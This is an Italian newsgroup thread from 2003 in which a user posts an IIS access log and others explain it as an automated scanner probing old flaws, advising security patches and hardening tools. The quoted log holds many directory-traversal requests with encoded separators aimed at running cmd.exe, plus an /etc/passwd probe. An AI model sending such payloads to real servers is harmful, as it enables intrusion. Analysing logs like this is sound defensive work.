Newsgroup: it.comp.sicurezza.varie
Titolo: Intrusione IIS ?

Salve a tutti,
mi scuso se posto di fretta ma sono un p�allarmato.
Da due giorni ho rimesso su il mio server web IIS dietro un gateway
linux e mi ritrovo il seguente log stanotte...
chi mi spiega cosa succede?
Grazie
2003-02-19 03:49:03 213.93.195.156 - 192.168.1.200 80 HEAD /index.htm
- 200 -
2003-02-19 03:49:03 213.93.195.156 - 192.168.1.200 80 HEAD /etc/passwd
/c+dir+c:\ 404 -
2003-02-19 03:49:04 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\
404 -
2003-02-19 03:49:04 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/..ﾀ/..ﾀ/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:05 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:05 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:06 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:06 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/..ﾁ ..ﾁ ..ﾁ ../winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404
-
2003-02-19 03:49:07 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/..ﾁ ../..ﾁ ../..ﾁ ../winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:07 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:08 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/.._../.._../.._../winnt/system32/cmd.exe /c+dir?/c+dir+c:\
404 -
2003-02-19 03:49:08 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/check.bat/..ﾀ/..ﾀ/..ﾀ/winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:09 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:09 213.93.195.156 - 192.168.1.200 80 HEAD
/_mem_bin/check.bat/..ﾁ ..ﾁ ..ﾁ winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:10 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:10 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/c+dir+c:\ 404 -
2003-02-19 03:49:12 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/c+dir+c:\ 404 -
2003-02-19 03:49:12 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/c+dir+c:\ 404 -
2003-02-19 03:49:13 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/c+dir+c:\ 404 -
2003-02-19 03:49:13 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\
404 -
2003-02-19 03:49:14 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..ﾀ/..ﾀ/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:14 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:15 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:15 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2003-02-19 03:49:16 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:16 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2003-02-19 03:49:17 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:17 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:18 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..ﾁ ..ﾁ ..ﾁ ../winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404
-
2003-02-19 03:49:18 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..ﾁ ../..ﾁ ../..ﾁ ../winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:19 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/..ﾁ ../winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:19 213.93.195.156 - 192.168.1.200 80 HEAD
/winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:19 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/.._../.._../.._../winnt/system32/cmd.exe /c+dir?/c+dir+c:\
404 -
2003-02-19 03:49:20 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/.._../winnt/system32/cmd.exe /c+dir?/c+dir+c:\ 404 -
2003-02-19 03:49:20 213.93.195.156 - 192.168.1.200 80 HEAD
/_vti_bin/check.bat/..ﾀ/..ﾀ/..ﾀ/winnt/system32/cmd.exe
/c+dir?/c+dir+c:\ 404 -
-- 
reintermediare processi front-end

Se il tuo IIS č aggiornato non hai nulla di cui preoccuparti.
Ho sp3... e nulla pių.
C'e' altro da fare?
-- 
reintermediare processi front-end

 /c+dir+c:\ 404 -
/etc/passwd si puo' trovare, in alcuni casi, anche sotto winzozz, ma
non capisco cosa faccia quella richiesta HEAD cosi' composta. Bah...
direi che l'importante sono quegli errori 400.
I service pack non sono sufficienti: devi installare anche le patch
che periodicamente vengono rilasciate. Se vai sui siti:
http://www.microsoft.com/security/
http://www.microsoft.com/italy/security/
trovi tutto quello che ti serve. In particolare prova a cercare MBSA
e IIS lockdown, che ti aiutano a controllare la presenza delle patch
e a configiurare correttamente IIS.
Fabio

 No, quello era uno web-scanner un po' lame, ad occhio e croce.
Ora che guardo bene, scansionando il mio web con Nessus lascia righe 
simili, la prossima volta controllo prima di rispondere ;)
Saluti
-- 
mik_

 scanner un po' scarso.
Eh si, che stupido: direi che e' proprio uno scanner.
Rimane da capire il perche' lo abbiano fatto. E se lo
ha fatto il sysadmin di quel server web oppure un....
ospite. Io proverei a scrivergli per informarlo dell'
accaduto.
Fabio

 404 -
404, perchè ti preoccupi?
Non installare solo i SP ma anche i singoli aggiornamenti sulla sicurezza.
Ciao
Fabio